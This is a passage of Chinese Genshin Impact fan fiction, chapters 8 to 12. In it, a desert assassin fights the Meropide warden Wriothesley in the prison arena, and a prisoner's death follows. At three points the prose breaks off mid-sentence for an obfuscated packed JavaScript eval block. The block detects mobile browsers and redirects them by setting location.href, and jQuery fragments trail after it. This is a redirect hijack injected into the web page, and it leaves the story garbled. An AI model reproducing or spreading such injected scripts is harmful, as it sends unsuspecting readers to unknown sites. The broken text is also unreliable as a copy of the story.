拳力斗技场位于管理区的一处完全独立的空间,需要穿过走廊,在尽头登上向下的升降梯——就像她现在在做的那样。
沸腾的人声越来越近,随着升降梯的再次开启,喧嚣与热浪扑面而来,就像是忽然扯掉了降噪耳塞,耳膜里瞬间灌入了无数叠加的声音,因为过于嘈杂而让听觉出现短暂的嗡鸣。
虽说依然是钢铁铸就的空间,但这看着与梅洛彼得堡的其他地方大不相同,这里是一处标准的竞技场,设有观战席和圆形的传统擂台,旁边散落着一些练习用的机械桩。
为了保证观赏性,这里的灯光更暗,但擂台却另有光源笼罩——正对着门的墙壁并不是钢铁填充,而是开出一块数人高的圆形玻璃窗,水波透进来的幽蓝色光柱刚好将擂台罩在其中,涡轮一样巨大的风扇嵌在玻璃窗外缓缓转动,让投注于擂台的水色光影明暗交错、潋滟不定,当看客在台下观看的时候,在摇曳变换的波光里,被光与影交错笼罩的擂台充满了映画似的氛围。
公爵就站在擂台中央,在全场的欢呼里,他正笑着对败者伸手,将对方从地上拉起来。
他还披着那身厚重的大衣,姿态也如往日般从容,显然目前为止的挑战者没对他造成任何影响,只是因为经过运动,他裸露在外的肌肤挂了一层薄汗,偾张的肌肉将衣扣绷得更紧,一呼一吸之间,贯穿胸前的狰狞伤疤简直要从领带下弹出来似的,即便很远也能感受到他呼吸时的热度,让他周围的空气都蒸腾出暧昧的薄雾来。
主持人正在拼命地炒热气氛:“不愧是公爵!无人能及的常胜将军!从开始站到了现在!让我们来看看,还有没有人想要来撼动冠军的宝座——”
有人应声跳上擂台。
露斯安在生死状上签下自己的名字。
又一轮战斗开始了,露斯安隐没在欢呼的人群里,将情绪从热火朝天的氛围里剥离,冷静地审视擂台上的战斗。
挑战者有着优秀的格斗技巧,基础扎实,出拳有力,每一招都攻向人体脆弱的部位——喉咙,心脏,眉心,太阳穴——但那并不能为公爵带来任何实质性的伤害。
就如她这几天的观察出的结论,公爵作为战士的素养是卓绝的。
那副高大的身躯灵活得不可思议,挑战者的攻击每每只能击中他的残影,闪转腾挪之间,他显然没有被消耗太多,在七个来回之后,他的身影猛地向侧边一矮——那是一个漂亮的右闪步,刚好避开对方的直拳,又让自己进入对方的破绽,而他的拳头借着这个空隙精准击中了挑战者的肋骨!
挑战者来不及回防,被这样一拳结结实实命中,整个人都踉跄了数步,然后他迅速调整重心——但已经来不及了。
公爵完全不给对方喘息的机会,他借着出拳的力量大幅度地旋身,轻易地追上去掐住对手的脖颈。
对手的身躯并不孱弱,但那并不构成影响,公爵自脚尖到手臂一并发力,挑战者就像轻飘飘的风筝一样被他扯离地面,而后划出一道巨大的圆弧——向地面上惯下去!
那一刻,他肩头厚重的外套在激烈的动作里飞扬,露出来的核心躯干再到双腿都隆出了漂亮的肌肉形状,那一身西装根本起不到遮掩的作用,千锤百炼的战士躯体在这一连串顺滑的攻击下偾张到极致,没有任何花哨的行为,就只是向所有人展现出了纯粹的、强横的、近乎野蛮的□□力量!
周围的欢呼声几乎要掀翻铁质的棚顶!
涡轮转动,那一瞬间的擂台刚好被置于阴影之中,光线蒙昧,空气湿重,就在这样的环境里,在发力将对手惯到地上的那个瞬间,公爵忽然撩起眼皮,向台下看了一眼。
穿过喧腾的空气,越过激动的人群,精准、笔直、目的明确——
——落到露斯安的身上。
他在笑,尽管那笑容并没有相应的温度,那双蓝色的眼睛在昏沉的环境里透出冷铁的颜色,他投过来的目光又黑又沉,切断火热朝天的氛围,撕碎熙攘的人群,精准地撞进露斯安的双眼。
——他看到她了。
9. 第 9 章
——他看到她了。
很难说这个认知形成的瞬间她是怎样的心情。
或许是水下太过潮湿,或许是空气太过沉闷,露斯安听见了自己失控的心跳声,身体比思维更先做出反应,她按住身后的武器,感到汗水沿着自己骤然绷紧的肌肉流下来,从额角,从腰腹,从腿根。
她知道这种感觉。
在幼时独自面对赤鹫的时候她曾经体验过,她的右眼和腿上依然残留着那时候的疤——而最后她当然赢了。
那现在呢?
时间被拉得很长,周围的一切都在昏沉的灯光里褪去,她觉得自己置身于漆黑的旷野,黑狼撕碎爪下的血肉,将目光投掷于下一个猎物。
不过一瞬。
周围的喧闹与她并无关系,她看到台上的公爵收回目光,被拉长的时间恢复正常的流动,挑战者的身体重重地落在地面,发出“咚”的沉闷响声。
蓝色的水光漫上擂台,照亮公爵嘴角稀薄的弧度,他站直身体,挂着些微汗水的饱满胸膛鼓动了一下,像是发出了一声轻笑。
欢呼声,口哨声,喝彩声……高涨的情绪将气氛推向顶峰,全场都在呼喊公爵的名字,主持人的宣判声响彻场地——
“非——常完美的胜利!公爵又一次维护了他的宝座!
“常胜将军是否能维持住他的荣耀?又或者有意外的强敌半途杀出重围?
“下一位!还有没有下一个挑战者!——哇哦。”
白色的影子轻巧地落在擂台上,主持人发出了一声颇为意外的声音。
“噢——罕见的——一位女性挑战者——”
那是一个来自沙漠的女性,长靴短裤,白发金瞳,那焦糖色的皮肤与这个阴冷的水下格格不入,哪怕在幽蓝的水光中也泛着健康的光泽。
细软蓬松的白发像波浪似的打着卷,被她松松垮垮地束在肩头,里面编织着细细的金丝,让她笑起来的时候好像笼罩着一层灿阳似的光。
上台的第一件事,她解下脖子上白色的防沙围巾,然后是身后挂着的双刀,接下来是右腿的匕首,那些东西都被她扔到擂台的角落,发出危险的撞击声。
和所有沙漠人一样,她穿得实在是不多。
除了裹胸以外,只有单边的衣袖从上臂盖到手背,那已经是她上半身全部的布料,另一只胳膊的上臂则是箍着三指宽的金镯,腰腹、颈项与圆润的肩膀都裸露在外面,向所有人大方地展示她玲珑匀称的身段。
然后,就像是在热身,她的身影猛地矮下去,双脚打开,双手撑住地面,像一只巨大的猫科动物伸了个懒腰,颈椎与脊椎倒弯出一个流畅的弧线,背肌与凸起的蝴蝶骨漂亮得让人眼热。
公爵并没有出言催促。
他只是眯起眼睛,目光落在她光裸的腰背——那个动作让她的身体折叠,长发自肩膀倒垂,露出长而柔韧的肩颈和整个后背。
他看到数道伤疤从裹胸探出来,其中一条自后心斜切过后背,然后延伸进浓密的发丝里去。
“嘿,一位爱打扮的沙漠女士——”
随着主持人有点戏谑的声音,台下传来了一阵哄笑,算不上恶意,但也绝对和善意无关,战斗带来的热血喧嚣氛围里,忽然多了恶劣的调笑味道。
如果说她带着武器的时候看着还有几分威胁,在去除那些以后,虽然还穿着及膝的战靴,大腿也缠着战术绑腿,但人们很难对她树立战士的认知。
她身上的累赘太多了。
额前拢发的红绳下面垂着金属片,脖子上缠着数道金色的链子延伸到裹胸上,裹胸下方和左臂的臂钏下都垂着数弯细细的金链,左手的手腕上套着三只叮当作响的金镯子,右手装饰性的衣袖下面是嵌满了各色珠宝的宽镯子,镯子上又延伸出锁链同中指的指环相连……
这让她看上去像是什么移动的首饰展览柜,行走的时候会发出悦耳的敲击声,被光一照就会折射出各种绚丽的珠光,哪怕身上有漂亮的肌肉线条,也更像是异域的舞女而非战士。
按照规定,挑战者双方要在擂台上碰拳以示友好。
她手指上的指环同公爵手上的撞在一起,发出只有两个人才能听到的微弱撞击声。
从观众的视角,那只挂满了镯子的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096947|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腕与公爵缠着拳击绑带的健壮手腕形成了残酷的对比,似乎只是碰拳这个动作,就足以让她伶仃的腕骨被残酷地摧折。
唏嘘和口哨接连不断地响起。
并没有被台下那些不怀好意的哄闹声影响。
公爵垂眼看着她,脸上带着沉思的味道。
“神之眼?”
他忽然问。
“不。”
露斯安说。
她知道自己应该像平时一样对他微笑,她应该更谨慎一点,让猎物在大意中麻痹——一个优秀的“猎鹰”应当摒除杂念,无欲无求,无喜无怒,抽离情绪,与环境完全融为一体。
但她在战斗以外的部分从来都不合格。
她还记得他刚才的表现,体内的血液正在沸腾,露斯安无法全然克制自己的表情,她从他漆黑狭长的瞳孔里看到了自己的倒影,来自沙漠的女人一手叉着腰,裸露在外的腰线上,隐隐有暗红的流光,在皮下跃跃欲试地透出诡谲妖异的纹路。
“——只是个凡人。”
似乎经过了片刻的思考。
她听到对面的公爵笑了一声,将手伸向了大衣。
台下人群传来了明显的骚动——从擂台开赛以来从不离身的大衣被他挂在了一边。
而这还并未结束,没有理会台下形形色 | 色的反应,他背对着她,又脱下了西装的马甲,重新调整了身上的武装带。
当他因为褪去外衣而伸展手臂的时候,背部紧实的线条流畅得叫人惊叹,没了马甲的束缚,黑西装下饱满的肌肉浮现出更明晰的轮廓,那种属于□□的魅力带着成年男性的荷尔蒙,隔着半个场地强势地扑到脸上。
然后露斯安看到他的手伸向领带,忽然偏过脸看向她,绕颈的黑绑带被颈项上的肌肉顶起一个漂亮的弧度。
他的手指按在领结上,目光却对准了她的位置,公爵就这么看着她,将那条暗红色的、装饰着夸张金属的领带扯下来。
领带被扔到衣服上,软踏踏地垂下来。
他咧开嘴,对她做了个无声的口型。
——准备好了吗,女士?
10. 第 10 章
在裁判吹响哨子的瞬间,沙漠女性的身影率先从擂台上消失了。
在她原本站立的地方留下一道模糊的白线,然后在中途,那道线又像溶解似的消失在空气里。
那是常人的视觉所不能捕捉的速度。
起始的位置还残留着她的虚影,开始的哨音还飘荡在擂台上,但那个看起来并不强壮的沙漠女性已经跨越了擂台,出现在了公爵的面前。
她悬在半空,纤长矫健的双腿并拢,屈膝,那姿态如同蓄势待发的猎豹,软皮的战靴上因此而隆起了漂亮的线条,显然是借着助跑的冲力曲腿,灌注整个身体的力道——
毫不留情地蹬向对方的心口!
那样迅捷、精准的一击,同公爵防卫的双臂撞在一起。
同对手结实的身躯相比,那战靴包裹的脚踝都显得过于细弱,似乎要因为反作用力而碎掉。
二者的体型差太大,公爵的防御又足够迅速,这样的正面攻击,能造成的影响非常有限——至少在看客的眼里是这样的。
甚至于,连□□搏击所产生的声音,都被观众席上的嘈杂人声所掩盖。
露斯安踩着公爵精壮的手臂,肢体由蜷缩伸展成流畅的线条,公爵的姿态没有丝毫变化,但他交叠的双臂却同她的靴底飞快地拉开了距离——
——尽管防御不曾崩溃,却因为这样纤细的一击而被迫向后滑了出去!
“啊——咕唔、”
主持人想要评价点什么,但他的声音还没来得及发出来就变成了奇怪的呜咽,头发和衣摆“呼啦啦”地飘起来,整个人不受控制地踉跄了数步,就好像迎面刮来一阵烈风狠狠拍在身上。
他茫然地反手按了下脸——那里像被人殴打过似的肿起一道红痕。
主持人没反应过来,台下的观众也没反应过来。
而狂躁的风已经如利刃一般骤然爆开!
那一击产生的气浪滞后地爆发出来,铁皮的地面发出刺耳的“吱呀”声,靠得最近的观众根本来不及反应,发丝、衣摆、配饰等一切东西都被凌乱地掀起,似乎眼前发生了一场冰冷的爆炸,哪怕只是外围的气流都带着能切碎人的冷冽!
没人能理解那样纤细的身体为何能爆发出这样的力量,但唯有一点显而易见——
——如果公爵的防御不够及时,这一击足以让他心脏爆裂。
显然公爵并不惊讶于对手的实力,他在赛前那一系列认真的准备并不是无的放矢。
观众还在消化刚才的信息,擂台上已经发生了变化。
半空中白色的人影还来没有落到地上,而向擂台边缘滑过去的公爵骤然压低重心,脚下向后用力一蹬,硬生生止住了退势,并借着这个力道反客为主向对手冲了过去。
露斯安的脚尖堪堪接触地面。
她还来不及重整架势,拳头已经裹挟着风声贴上了她的腹部!
来不及发力,当然也来不及回避。
肌肤已经感受到了他手上金属指环的质感。
就在这样连呼吸都容不下的瞬间,沙漠人的身体猛地摔向了一边!
——通过放弃防御的方式,卸力避开了足以击碎磐石的重击。
拳风扯断了她裹胸下飘起的金链,崩裂的金属像四散的火星一样敲在他的指环,她的身体在细密的光里重重地落在地上。
以这点损耗躲避那一击完全是物有所值。
而她并不急着起身,反而双手撑地一个大幅度地横扫,直取人体脆弱的膝盖关节!
公爵大幅度地旋身,避开攻击的同时,军靴的落点搞不犹豫地选择了她的胸口!
她手臂卸力轻巧地向旁边一滚,同时腰腹发力,借着这个动作敏捷地翻身而起。
短短几个呼吸的功夫,擂台上的进攻和防守已经经过了数轮切换。
死神的巨镰高悬于台上,在黑白纠缠的身影间摇摆不定。
这座水下的斗技场忽然就安静了下来,围在前方的观众默契地向后退了数步,只剩下台上战斗所发出的声音,像高昂的音符一样不断撞在冰冷的钢铁墙壁上。
这是之前的车轮战加在一起也无法比拟的顶级格斗。
对于多数观众而言,他们只能看到两个人的虚影,那个沙漠女人的速度尤为夸张,她往往会如融化一般消失在空气里,而下次出现的时候,甚至还残留着其余来不及消散的残像。
每每她舒展身体,那姿态漂亮得有如展翅的猛禽。
这场竞技也宛如野兽间的厮杀。
矫捷的白鹰凭借速度缠住漆黑的狼王,她显然清楚自己与对手的体型差距,完全凭借身体的柔韧与技巧,避开那些山摧石裂的攻击,用她灵巧敏捷的身形来消耗对手的体力。
涡轮在旋转,明与暗在台上不断切换。
而她的双眼,在暗沉朦胧的水影中始终散发着幽幽的光。
并不是什么比喻,那就是字面的意思——白发金瞳的沙漠女性,那双眼睛就像是暗夜里徘徊的野兽一般亮起来,那样金灿灿的颜色,就如同噬人的沙漠。
暗红色的纹样盖满了半边腰。
像是藤蔓和花枝,又镶嵌着复杂的几何图形,一眼就能看出异域风情的图腾,在她焦糖色的肌肤上蜿蜒生长。
初始只是隐约的痕迹,随着战斗的进行,暗红的图腾已经盖满了裸露的侧腰,爬到了肩膀的位置。
那副纤合有度、被汗水沾湿的躯体,因此而透露出靡丽而诡谲的气息。
在某个瞬间,公爵终于成功抓住了破绽,一个滑步贴近对手,将拳头狠狠地送进了她的身体。
“啪”的一声。
那是进攻的拳头与防御的手掌相撞发出的声音。
千钧一发之际,露斯安抬手护住了胸口,但那一拳的冲击力并不会因此而削减,没有任何商量的余地,她的身体折叠,笔直地飞了出去,只一眨眼就来到了擂台边缘,依然去势不减!
胜负已定。
被击飞的身体已经越过了擂台的边线,离完全出局只差一个眨眼。
就是这样的瞬间。
在没有着力点的半空。
暗红的图腾越过了肩膀,她的脚尖向下垂落了一寸。
这一寸刚好触及地面,靴底同金属地面摩擦出一串让人牙酸的声音。
下半身的去势稍弱,上半身因为冲力而重重向后倾倒。
脚尖、下肢、腰腹——那些所有的部分都因为发力而隆起漂亮的肌肉线条,绷紧的小腿同地面形成一个几乎要贴合的锐角!
千钧一发之际,在擂台的边缘,她调动整个肉|体,终于险险钓住了自己,经过锤炼的身体大幅度地舒展,每一寸都呈现出赏心悦目的画面。
就像白鹰于水面振翅。
而这姿态,因为公爵毫不容情的追击而迅速溃散!
他横扫向她的落脚点,她和擂台的最后一点接触也被这一击撬动,避无可避地向擂台之外栽下去。
——本应如此。
但她作为战士的躯体过于灵活。
那一刻,她的身体像一张弓一样向后倒弯,而脚尖由绷直的状态向内一勾,在栽倒之前,精准地缠上了公爵的脚踝。
“——、——!”
那是非常不可思议的发力。
她的脚尖勾住他的脚踝,身体几乎是贴着地面,以脚尖为圆心划出一个巨大的弧,向公爵的后心贴了过去。
这样的接触显然也超出了公爵本人的意料。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096948|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她欺身而上。
在观众眼里,来自沙漠的女人像一条灵活的蛇,脚踝不过是蛇尾,而她的身体自地面滑行向他背后缠绕,并指成刀划向他的颈项。
她手里没有任何兵器,这样的距离也不够借力产生巨大的伤害。
看起来是缺乏威胁的缠斗。
没人知道公爵为什么忽然变了脸色。
哑光的软皮战靴缠着漆光的硬军靴。
女性柔软的身体贴上男人紧实的后背。
那像是一种暧昧的邀请,只是自她指尖递出的,是来自死神的邀请函。
公爵没有试图将她甩开。
在她贴上来的时候,他大幅度地拧动上半身,将手伸向她的脖子。
而她的手指越过他的手臂,凡是指尖所过之处,空气似乎漫开肉眼难以察觉的波动,公爵手臂上的绑带尽数崩裂,一丝鲜血在空中拉出长长一道轨迹,宛如爆开的红色的花。
他的手指扼住她的喉咙。
露斯安的指尖也探向了他的脖颈。
布帛撕裂的声音,以及重物落地的声音。
那是蛮横而粗暴的力量,露斯安只觉得天旋地转——他单手扼住她的喉咙,将她从身上撕下来狠狠掼到了地面!
脊椎发出悲鸣,喉咙上的禁锢剥夺了呼吸,视野在强烈的冲击下骤然暗淡,她凭着本能感受到了敌人的体温和呼吸,无视身体的抗议,抬脚向他脆弱的肘关节扫过去!
没给她反抗的机会,体型的优势在这一刻被发挥到极致。
公爵一手按住她的手腕,一手掐住她的颈项,膝盖压住她的膝盖,用肉|体作为桎梏剥夺她的行动,将她扣押在擂台的地面上。
露斯安只来得及单手掰住囚禁颈项的手臂,而身体的疼痛和这个姿势都让她没有发力的余地。
她努力睁大眼睛,蒙着灰的视野逐渐映出应有的色彩,在极近的距离里,她首先看到的是布满汗水的紧实胸膛——公爵用身体镇压她的反抗,自上而下地看着她。
男人充满压迫感的体型隔绝了一切光源,他投下来的影子像一张巨大的网,将她从头到脚笼罩在里面。
谁也没有说话。
无论是台下的看客还是台上刚经历过厮杀的两个人,时间在这一刻像凝固了一样漫长,只有彼此的呼吸声清晰可闻。
刚刚经历了激烈的战斗,公爵身上散发出远超平日的热度,本来就敞得很大的领口又丢了两颗扣子,每一次呼吸,从脖颈的绑带到胸膛狰狞的伤疤都随之起伏,仅剩的那颗衣扣也看起来岌岌可危,被汗水浸湿的黑衬衫格外清晰地勾勒出肌肉的走势。
他出了很多汗,莹润的汗珠顺着他胸膛的伤疤向下流淌,她看到汗珠划过他带着疤痕的眼角,顺着英挺的侧脸一路下滑,在下颚的伤疤处摇摇欲坠。
他的表情很淡,呼吸却是粗重湿热的,那张脸上剥离了笑意和一贯的疏懒,蓝色的眼睛像沙漠里潜伏的野兽一样森然锐利。
在这样一切都静止的时间里,他灰蓝色的眼珠忽然向斜下方偏移了瞬间——在他视线无法触及的地方,他颈侧贴近动脉的地方,三绕的绷带崩开一条,那下面的皮肤裂开了一道长长的口子。
血顺着肌肉的弧度沾湿了绑带。
那是差一点就会危及性命的伤口,而梅洛彼得堡的典狱长只是转动眼珠,然后无声地扯动了嘴角。
逆着房间里昏沉的灯光,巨大的风扇让海波的倒影在地面搅碎,阴影压上擂台,公爵日常营造的绅士形象在他身上崩裂,在这一刻,他嘴角那一点稀薄的笑意就像狼王准备咬断猎物脖子的前兆。
摇摇欲坠的汗水带着他身上的热度,在空气中拉出一条银亮的细线,滴落到她的脸上。
11. 第 11 章
“?!”
带着体温的汗水落在脸上。
就像沸油里滴入一滴水。
露斯安的眼睛倏地瞪大,本来就紧绷的身体重重一颤,她本能地抬腿,但又被身上的男人镇压,只有腰腹短暂地弹离地面,被桎梏的身体因为无处宣泄的力量,而产生了抽搐似的痛感。
最后她只收紧了指尖,用力捏住桎梏着颈项胳膊。指尖下他的脉搏跳动得快而有力,因为她的发力而渗出一串艳红的血珠。
鲜血混合着汗水,沿着他手臂的肌肉滑下来,流淌到她的颈侧。
她知道自己不该将杀意表现得如此明显。
但她无法遏制。
——他们离得太近了。
扼住喉咙的手滚烫,压迫着她的呼吸。
她能在他眼睛里看到自己的倒影。
身体最脆弱的部分被他握在手里,她的弱点完完全全地暴露在他的面前,他随时可以折断她的颈项,那对他而言并不比折断一只草丛里的花茎更费力。
他全然掌握着她的生命,这样的认知让她全身都在战栗。
血在身体里燃烧,后背冰凉的钢铁地面也不能平息兴奋的身体,缺氧加上生命的威胁,心脏始终处于极致的亢奋状态,他垂落的汗水像是飞溅的火星,引爆她体内蠢蠢欲动的引线。
——他们离得太近了。
他的呼吸近在咫尺,他的体温将她全然笼罩,她能感受到他的心跳,她能听到血液在他体内奔腾的声音……他离她那么近,呼吸时滚动的喉结和扩张的胸膛都脆弱得让她兴奋,他布满汗水的肌肤像一张浸湿的邀请函,只要她伸出手,就能轻易地撕碎眼前的猎物。
近乎于永恒的对峙。
这样全然胶着的状态让擂台的时间如同凝固,似乎连漫上来的青碧水影也变成了胶质的结界。
死神也要在这个蓝色的擂台沉默,不知道该将镰刀偏向哪个人的方向。
直到突兀的人声插入僵持的战局——
“公爵,出局!”
“……”
裁判的声音打破了恒久的宁静,又或者,其实自她落地开始并没过去多久。
——在将她摔到地上的时候,公爵的一只脚越过了擂台的边线,失去了胜利的资格。
但输赢对她没有意义。
她其实失败得非常彻底。
观众传来了骚动。
先是吸气声,然后是议论,再然后是掌声,也或许有欢呼和喝彩……但那些信息并没有传递到擂台上的人的耳里。
压在身上的公爵没有任何动作,好像滚烫的体温已经将他们肢体接触的部分融化后焊在了一起,
他依然垂眼打量着她,目光顺着她遍布身侧的暗红图腾爬行,似乎要剖开它们看到她的骨头。
他的手是烫的,他的呼吸也是烫的,但他唇边稀薄的弧度和游移的眼神却是冷的,就好像狼在喘息着盘算如何吞噬顽抗的猎物。
过了很久。
又或者是片刻。
他的目光回到她发亮的双眼,唇角的弧度收敛,然后,露斯安看到他重新笑了出来。
“恭喜你,女士。”他轻声说。
喉咙处的压力骤然一松。
剑拔弩张的攻击性随着这个笑容而消失,那个日常里散漫慵懒的公爵形象又重新回到他的身上,只是无论是湿漉漉的鬓发、贴紧□□的潮湿衬衫、颈项手臂上星星点点的血迹、又或是将他肌肤刷得发亮的汗水,都让他看起来有了不同与往日的迫人攻击性。
“很好的结果,继续下去对你我都没有好处,不然你和我之间只怕至少有一个人没办法走出这个斗技场。”
“……”
“好在还没有造成不可挽回的后果,现在收手也还来得及。”
他松开了对她的桎梏,慢慢地从地上站了起来。
高大的身躯逐渐站直,那过程不知为何让人产生了眩晕的感觉,周围空气恢复了流动,柔滑阴凉的温度灌入他原本的位置,然后他伸出手,就像是要将她从地上拉起来。
在那之前,在他直身的瞬间,露斯安悄无声息地自地面翻身而起,一个空翻同他拉开了距离。
脖子处强烈的温差对比让皮肤上残留的体温更加明显,就好像颈项上的压迫并未远去,露斯安的手指抽动了两下,她告诉自己这不过是错觉。
公爵伸到一半的手又自然地垂落下去,他只是笑笑,走到擂台边缘,拎起自己的外套走了下去。
那场比赛,露斯安理所当然地获得了最后的胜利,她甚至没有遇到任何一个挑战者。
开什么玩笑,来这里的人不外乎两个目的,酣畅淋漓的竞技或者凭本事赚点外快,没人想要主动摸抹脖子自杀。
所有人都默认公爵不会置人于死地,但这个沙漠女人可不一样,她从头到脚都写着“我来这就是想找两个人祭天”,那森然发亮的金瞳和覆盖半边身子的暗红图腾显然暗藏玄机,分明挨了那么重的一下,她纤细身体依然保持着笔直有力的站姿,看起来如凛然不可侵犯的战神。
只有露斯安知道自己失败了。
露斯安将脸埋进冰冷的水里,周围的植物遮挡住她的身影。
这是一处梅洛彼得堡与洞穴的交界,或许是这座钢铁堡垒唯一柔软的部分,人工的钢铁建筑和柔软青翠的绿植同时存在于此处,那些属于自然的环境让她感到安心。
她洗去指尖和颈侧的血迹,但它们沾上来时滚烫的温度却好像已经顺着血液流进了身体。
或许是因为血液还在兴奋,缠绕在身上的战纹固执地不肯消退,后背和胸前依然残留着火辣辣的痛感。
肌肉撕裂,或许还伴随着骨裂,从痛感判断并不严重,还好并不致命,但如果她还是猎鹰,那这简直是不可饶恕的失败。
或许是因为这几年的安稳让她太过懈怠。
但她也从没啃过这么硬的骨头。
她开始复盘战斗时的每一个细节,他发力时宽阔流畅的背脊,出拳时被绑带勒出筋肉走势的手臂,偏头躲避时颈侧凸起的青筋——
然后她想他将她摔在地上的瞬间,他骤然冷下去的,森然锐利的目光。
露斯安吐出一口气,按住尚在抽痛的颈侧。
在下手前处理掉公爵这条路显然已经行不通了。
她需要在自然里恢复一下身体,好在伤势并不严重,只事需要一点时间。
至于胸膛的鼓动,那理应是战士遇到猎物的本能。
…………
…………
莱欧斯利穿过管理区的走廊,来到了医务室。
平时寥落无人的区域如今人满为患——每到拳力斗技场开赛都是这幅光景,而今天,这里面有一半以上都是他亲手送进来的。
护士长希格雯在一众受了伤的大汉里来回穿梭,听到脚步声的时候抬眼去看,本来想说一句“稍等”,但在看清出来人之后,那句话梗在那里,最后变成一句惊呼脱口而出——
“公爵?!”希格雯吸气的声音是如此清晰,“你怎么了?”
不能怪她是这样的反应。
梅洛彼得堡尊贵的典狱长单手叉腰站在门口,那条手上的拳击绑带不翼而飞,露出的小臂上除了交错的陈年伤疤外,还有一道新鲜的血痕,干涸的血迹划出长长一条线,一直蔓延到手背的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096949|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指缝处。
不离身的大衣被他反手拎着搭在肩头,被解开的红领带只是随意地挂在脖子上,西装马甲一个扣子都没有系,黑衬衫的衣扣更是只剩下最后一颗,而且上面残留着多处被什么锐器划开的裂痕。
他脖子上的绑带也要断不断地勉强维系在那里,看起来深沉湿润,希格雯一眼就看出来,那是黑色的布料吸血而产生的效果。
血是公爵自己的。
绑带下面就是新鲜的伤口,血液已然凝固,只能看到一片发给的红。
他看起来,与其说是参加了一场无武器的擂台赛,不如说更像是经历了一场刺杀。
“啊……”莱欧斯利拖长了语调,“一点小伤,不急。”
他知道她在惊讶什么,他已经有许多年没在擂台上受过这么重的伤了。
“真是的,公爵你这个人啊……”
小小的护士长想要说点什么,然后又在中途停住,最后变成无奈的叹息,“哎,你先坐下吧。”
莱欧斯利眨眨眼,对希格雯露出了一副听从指示的笑容。
“虽然都是些皮肉伤,但是每个位置都很危险。”
希格雯站在椅子上,给坐在那里的莱欧斯利处理伤口,“如果再深一点可不是开玩笑的,特别是颈动脉附近,奇怪,这是什么武器划伤的……你有在听吗,公爵?”
“啊……嗯。”他的目光从医务室扫视了一圈又收回来,“她没有来过吗?”
“她?”希格雯眨眨眼,她似乎知道他在说什么人,“如果是指沙漠的那孩子,没有来过哦。”
“……”
这并不应该。
莱欧斯利比任何人都清楚,在刚才那一瞬间,在危及生命的强烈预感下,他根本没有收手的余地,用了十成的力气把她从身上扒下来摔在地上,她在他手下骨折都不奇怪。
但她起身的瞬间依然轻盈得像是跳舞。
他不认为自己没能对她造成伤害。
他依然记得她被他按在擂台上的时候,虽然只有一瞬间,她的肌肉在身 | 下本能地抽搐的画面。
但她并没有表现出痛苦。
非常强的生理耐受性。
显然,她经历过足以抑制住本能反应的严苛训练。
指尖还残留着她肌肤的触感和热度,莱欧斯利垂下眼,刚才的记忆鲜活地浮现于眼前,昏暗潮湿的环境里,在能够交换呼吸的距离,她光滑的肌肤在汗水的映衬下像融化的焦糖,暗红的纹样覆盖半边身体,被湿漉漉的白发衬托,像是暗夜里蜿蜒绽放的妖花。
或许那代表什么未知的力量,沙漠人从来神秘,就像他们出身的大赤沙海一样,无数学者穷尽一生也无法拼凑全那些失落而遥远的文明。
“所以。”他忽然听到希格雯的声音,“这次满足了吗?”
“嗯?”莱欧斯利抬起头。
“遇到了很好的对手吧?”
希格雯了然地看着他,属于稚童的脸上,露出的是成年人的通透,“如果不是这样危险的对手,根本就不能满足你不是吗?”
这么说的时候,她脸上有一种独属于长辈的无奈。
“啊啊——”莱欧斯利拖长了声音,他撇一下眼,似乎想看到自己颈项上的伤口,然后低低笑了出来,“呵……谁知道呢。”
他站起来,活动一下被绷带包好的手臂,一点都不意外地在上面看到了一张可爱的鲨鱼贴纸,他娴熟地把它抠下来扔在桌子上,转身。
“如果她来了医务室,记得向我报告。”
但他最终等来的并不是医务室的报告。
——那天晚上,监狱里有人意外身亡。
12. 第 12 章
露斯安在监狱的第九天,管理方公布了一则讣告。
有人在舍监区的维修平台失足身亡,具体原由正在调查。
这件事在水下造成了一定程度的轰动,梅洛彼得堡虽说是监狱,犯人之间的小摩擦也向来不足为奇,但是真闹到死亡这一步的终究是少数。
特别是,死亡的犯人,正是两天前在生产区“操作不当”的那一个。
谋杀论再一次甚嚣尘上,走到哪都能听到有人在讨论这场“意外”,而露斯安事不关己地路过讨论得热火朝天的人群,非常悠闲地打了个呵欠。
解决了一桩大事,她的心态非常平稳,虽然身体还残有抽痛,但并不是什么大不了的伤势,完全不影响日常行动。
在去往特许食堂的时候,有人拉出了她。
“露斯安,你有没有——”
老师握住她的胳膊,用了很大的力气,以至于枯瘦的手背上有青筋凸起来。
她看起来有很多话想说,但似乎并不知道该如何表达,所以只是手上一再用力,苍白地重复自己的问题,“你是不是——是不是——”
“我没有。”露斯安眨眨眼,语气非常诚恳,“我就说他这样的人是活不长的,您看,他自己遭报应了吧。”
